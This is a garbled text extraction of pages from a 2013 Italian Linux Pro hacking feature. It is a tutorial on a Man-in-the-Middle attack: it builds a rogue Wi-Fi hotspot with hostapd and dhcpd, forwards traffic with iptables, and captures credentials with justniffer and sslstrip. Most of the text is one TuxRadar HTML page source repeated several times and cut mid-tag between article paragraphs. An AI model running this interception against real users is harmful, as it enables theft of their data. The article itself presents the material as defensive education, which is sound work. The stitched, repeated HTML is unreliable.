dannosi ma potrebbe essere usato per mostrare immagini che sarebbero dovute rimanere segrete. naturalmente non è tutto qui. noi di Linux pro crediamo nella diffusione responsabile delle informazioni: siamo cioè lieti di pubblicare informazioni sulla vulnerabilità ma non prima di averne parlato con lo sviluppatore. Come avete visto, per individuare le vulnerabilità occorre sapere che cosa cercare e al tempo stesso trovare l’applicazione giusta. può trattarsi di una procedura lenta e prolissa. Esistono sistemi di scansione automatica (come quello incluso in ZAp) ma conviene iniziare manualmente in modo da scoprire da soli che cosa accade. Molti esperti di test di penetrazione preferiscono la scansione manuale, che se fatta come si deve può risultare molto più completa di quella automatica.

L’area Quick Start è una novità di ZAP 2. Inserite l’URL da attaccare e il sito verrà perlustrato alla ricerca di punti deboli. È un buon punto di partenza ma non rileva tutto

œ

LXP130_06-13_webapp 9 06/06/13 15:29

Page 12: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-converted-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chia-mano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attac-cano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numer-osi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfor-tuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/pod-cast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-convert-ed-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chiamano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.

Hacking

10 Linux pro 130

Man in the middleCome si arriva ad attaccare il singolo browser

F inora abbiamo esaminato gli attacchi a un sito ma questa è solo una parte della storia. È possibile attaccare anche il singolo utente che naviga sul Web. il cross-site scripting

(xSS), come quello usato in Wordpress VM, è uno dei metodi; qui ci concentreremo però sul furto di dati. Vi sono vari metodi per effettuarlo. potete per esempio piazzare un software dannoso sul computer e usarlo per intercettare il traffico in rete. in questo tutorial useremo però il metodo più semplice, che consiste nel disporre il nostro computer tra la vittima e internet in modo da farvi passare tutto il traffico dell’utente. È il cosiddetto attacco Man In The Middle (MiTM) e può essere effettuato mediante cavi di rete o perfino virtualmente mediante un attacco Arp spoofing. noi lo faremo mediante Wi-Fi. Come tutti gli attacchi descritti in questo articolo, anche questo è illegale nella maggior parte dei paesi se usato in modo scorretto. È vietato non solo fare un uso scorretto

dei dati sottratti ma anche sottrarli, in qualunque modo.per il nostro test abbiamo usato un netbook collegato mediante Ethernet per creare un hotspot wireless, del tipo classico a cui un utente si collega senza pensarci in un locale. per prima cosa vi servirà un software per creare un punto di accesso. noi abbiamo usato hostpad, presente nei repository di alcune distribuzioni e scaricabile da http://hostap.epitest.fi/hostpad. Vi servirà inoltre un server DHCp per assicurarvi che i client che si connettono al vostro hotspot possano ottenere indirizzi ip. noi ci siamo serviti di dhcpd3 (presente

nel pacchetto dhcpd3-server di ubuntu). Entrambi richiedono file di configurazione: troverete degli esempi nei file presenti nel DVD di questo numero, sempre nel lato A, nella directory Rivista/Cracca_il_Web. Dopo averli installati ed esservi procurati i file di configurazione, potrete creare il vostro hotspot in questo modo: sudo hostapd -Bdd hostapd1.conf sudo dhcpd -4 -cf dhcp2.conf wlan0potrebbe essere necessario aggiungere un percorso ai due file .conf se questi non si trovano nella directory corrente.Dovrete ordinare al vostro sistema di passare le connessioni internet all’altra connessione di rete, altrimenti i computer che si collegheranno con voi non potranno accedere a internet. sudo bash echo “1” > /proc/sys/net/ipv4/ip_forward iptables -t nat -A poSTrouTinG -o eth0 -j MASQuErADEL’aspetto forse più sorprendente di internet è che la grande maggioranza delle informazioni non è criptata. Viene inviata sotto forma di semplice testo che qualsiasi MiTM può leggere senza nemmeno doversi sforzare di violare una crifratura.Wireshark è un ottimo strumento per la visualizzazione dei dati inviati attraverso il vostro computer-pirata a livello di pacchetti ma nella maggior parte dei casi non è necessario spingersi fino a questo livello. Si può invece usare justniffer per ricreare tutto il traffico Web di passaggio sul nostro hotspot clandestino. Questo strumento non è di norma incluso nei repository delle distribuzioni. per installarlo su ubuntu dovrete aggiungere un ppA: sudo add-apt-repository ppa:oreste-notelli/ppa sudo apt-get update sudo apt-get install justnifferin altre distribuzioni dovrete costruirvelo da soli. Troverete informazioni dettagliate all’indirizzo http://justniffer.

sslstrip salva una copia di tutto il traffico non criptato. Un semplice grep può rilevare qualsiasi credenziale (no, non si tratta di account veri…)

“Su Internet la grande maggioranza delle informazioni non è criptata”

LXP130_06-13_webapp 10 06/06/13 15:29

Page 13: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefi ned’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”fi rst $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-converted-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/fi les/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff ;”><div style=”float: left;”><img src=”/fi les/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/fi les/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chia-mano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attac-cano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offl ine interi siti o aggiungendo graffi ti sulle loro pagine. Altri si verifi cano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numer-osi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfor-tuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fi sici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefi ned’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”fi rst $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/pod-cast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-convert-ed-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/fi les/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff ;”><div style=”float: left;”><img src=”/fi les/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/fi les/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chiamano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offl ine interi siti o aggiungendo graffi ti sulle loro pagine. Altri si verifi cano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fi sici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/fi les/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.

Hacking

Linux pro 130 11

